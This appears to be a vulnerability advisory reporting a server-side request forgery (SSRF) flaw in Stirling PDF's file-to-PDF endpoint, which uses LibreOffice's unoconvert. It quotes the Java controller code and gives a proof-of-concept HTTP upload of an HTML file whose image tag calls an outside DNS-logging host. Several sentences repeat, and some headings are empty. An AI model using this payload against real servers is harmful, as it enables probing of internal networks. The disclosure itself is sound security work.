The "convert file to pdf" functionality (/api/v1/convert/file/pdf)uses LibreOffice's unoconvert tool for conversion, and SSRF vulnerabilities exist during the conversion process.
The "convert file to pdf" functionality (/api/v1/convert/file/pdf)uses LibreOffice's unoconvert tool for conversion, and SSRF vulnerabilities exist during the conversion process.
@PostMapping(consumes = "multipart/form-data", value = "/file/pdf")
@Operation(
summary = "Convert a file to a PDF using LibreOffice",
description =
"This endpoint converts a given file to a PDF using LibreOffice API Input:ANY"
+ " Output:PDF Type:SISO")
public ResponseEntity<byte[]> processFileToPDF(@ModelAttribute GeneralFile generalFile)
throws Exception {
MultipartFile inputFile = generalFile.getFileInput();
// unused but can start server instance if startup time is to long
// LibreOfficeListener.getInstance().start();
File file = null;
try {
file = convertToPdf(inputFile);
PDDocument doc = pdfDocumentFactory.load(file);
return WebResponseUtils.pdfDocToWebResponse(
doc,
Filenames.toSimpleFileName(inputFile.getOriginalFilename())
.replaceFirst("[.][^.]+$", "")
+ "_convertedToPDF.pdf");
} finally {
if (file != null) file.delete();
}
}
public File convertToPdf(MultipartFile inputFile) throws IOException, InterruptedException {
// Check for valid file extension
String originalFilename = Filenames.toSimpleFileName(inputFile.getOriginalFilename());
if (originalFilename == null
|| !isValidFileExtension(FilenameUtils.getExtension(originalFilename))) {
throw new IllegalArgumentException("Invalid file extension");
}
// Save the uploaded file to a temporary location
Path tempInputFile =
Files.createTempFile("input_", "." + FilenameUtils.getExtension(originalFilename));
inputFile.transferTo(tempInputFile);
// Prepare the output file path
Path tempOutputFile = Files.createTempFile("output_", ".pdf");
try {
// Run the LibreOffice command
List<String> command =
new ArrayList<>(
Arrays.asList(
runtimePathConfig.getUnoConvertPath(),
"--port",
"2003",
"--convert-to",
"pdf",
tempInputFile.toString(),
tempOutputFile.toString()));
ProcessExecutorResult returnCode =
ProcessExecutor.getInstance(ProcessExecutor.Processes.LIBRE_OFFICE)
.runCommandWithOutputHandling(command);
// Read the converted PDF file
return tempOutputFile.toFile();
} finally {
// Clean up the temporary files
if (tempInputFile != null) Files.deleteIfExists(tempInputFile);
}
}
POST /api/v1/convert/file/pdf HTTP/1.1
Host: 172.25.24.140:8080
Content-Length: 230
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXk10yDA52D8VSaGO
Accept: */*
Origin: http://172.25.24.140:8080
Referer: http://172.25.24.140:8080/file-to-pdf?lang=zh_CN
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node0dylx4lgdtzxwixmnid86661r1.node0
Connection: close
------WebKitFormBoundaryXk10yDA52D8VSaGO
Content-Disposition: form-data; name="fileInput"; filename="1.html"
Content-Type: text/html
<img src='http://89a9e05b.log.dnslog.sbs'>
------WebKitFormBoundaryXk10yDA52D8VSaGO--
Here are two articles that introduce the principles and risks of SSRF for your reference.|
Summary
The "convert file to pdf" functionality (/api/v1/convert/file/pdf)uses LibreOffice's unoconvert tool for conversion, and SSRF vulnerabilities exist during the conversion process.
Details
The "convert file to pdf" functionality (/api/v1/convert/file/pdf)uses LibreOffice's unoconvert tool for conversion, and SSRF vulnerabilities exist during the conversion process.
source:
stirling/software/SPDF/controller/api/converters/ConvertOfficeController.java
sink:
stirling/software/SPDF/controller/api/converters/ConvertOfficeController.java
PoC
Impact
Here are two articles that introduce the principles and risks of SSRF for your reference.|